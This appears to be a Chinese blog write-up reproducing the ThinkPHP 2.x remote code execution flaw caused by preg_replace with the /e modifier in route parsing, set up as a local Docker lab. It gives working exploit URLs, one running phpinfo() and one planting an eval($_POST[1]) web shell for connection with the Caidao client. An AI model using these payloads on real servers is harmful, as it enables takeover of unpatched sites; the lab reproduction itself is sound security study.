ThinkPHP 2.x 任意代码执行漏洞

简介: ThinkPHP 2.x 任意代码执行漏洞

漏洞简介

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

漏洞复现

执行如下命令启动ThinkPHP 2.1的Demo应用:

docker-compose up -d

环境启动后,访问http://your-ip:8080/Index/Index即可查看到默认页面。

http://127.0.0.1:8080/

http://127.0.0.1:8080/index.php?s=/index/index/xxx/${@phpinfo()}

http://127.0.0.1:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}

利用菜刀进行连接

参考链接

相关文章
|
3月前
|
人工智能 Shell 开发工具
在 Claude Code 里装 Codex 老翻车?7 个报错我一个个踩过,附解法
codex-plugin-cc 是 OpenAI 官方推出的 Claude Code 插件,作为“遥控器”调用本地 codex CLI 实现代码评审、对抗审查与任务委托。90% 安装失败源于未装 codex CLI、Node 版本低于 18.18 或未执行 `/reload-plugins`。本文详解 7 类高频报错及速查解法。(239 字)
839 1
|
存储 网络协议 网络安全
OpenWrt挂载U盘安装并配置Adguard Home
随着网络生活的日益丰富,广告成为了上网过程中不可避免的一部分。然而,过多的广告不仅会影响上网体验,还可能包含恶意代码,对全构成威胁。为了解决这一问题,许多用户选择使用去广告软件,其中Adguard Home便是一个广受欢迎的选择。
2247 0
|
7月前
|
存储 Ubuntu Linux
Windows WSL
Ubuntu 24.04(WSL2)默认安装在C盘隐藏目录,核心为`ext4.vhdx`虚拟硬盘。可通过`\\wsl$\Ubuntu-24.04\`快速访问Linux文件;Windows磁盘自动挂载至`/mnt/c/`等路径。支持PowerShell命令查看或迁移安装位置至其他盘符。
2089 6
|
存储 监控 Devops
DevOps实践:持续集成/持续部署(CI/CD)的实战指南
DevOps实践:持续集成/持续部署(CI/CD)的实战指南
|
安全 Windows
“由于启动计算机时出现了页面文件配置问题,Windows在你的计算机上创建了一个临时页面文件。。。”的问题解决
本文主要介绍了因清理电脑垃圾文件时误删虚拟内存导致的Windows页面文件配置问题,并提供了详细的解决步骤。问题表现为开机后出现临时页面文件创建的提示弹窗。解决方法包括通过控制面板或快捷键进入高级系统设置,进而调整虚拟内存设置:进入性能选项中的虚拟内存栏,选择自动管理所有驱动器的分页文件大小,最后确认并重启计算机以恢复正常运行。
10558 5
“由于启动计算机时出现了页面文件配置问题,Windows在你的计算机上创建了一个临时页面文件。。。”的问题解决
|
数据安全/隐私保护
思科模拟器Cisco Packet Tracer 8.2.1注册、下载和安装教程(正确+详细)
本文详细总结了思科模拟器Cisco Packet Tracer 8.2.1注册、下载和安装教程(正确+详细),看这一篇就够啦~
61928 7
思科模拟器Cisco Packet Tracer 8.2.1注册、下载和安装教程(正确+详细)
|
Linux Shell 开发工具
Linux文件内容查看和编辑指南:cat、less、grep等常用命令详解(一)
Linux文件内容查看和编辑指南:cat、less、grep等常用命令详解(一)
3609 0
|
并行计算 Linux TensorFlow
TensorFlow各个GPU版本CUDA和cuDNN对应版本
TensorFlow各个GPU版本CUDA和cuDNN对应版本
TensorFlow各个GPU版本CUDA和cuDNN对应版本
|
机器学习/深度学习 人工智能 自然语言处理
【AI大模型】LLM主流开源大模型介绍
【AI大模型】LLM主流开源大模型介绍
2168 5
|
SQL 安全 数据处理
Web 测试神器:HackBar 保姆级教程
Web 测试神器:HackBar 保姆级教程

热门文章

最新文章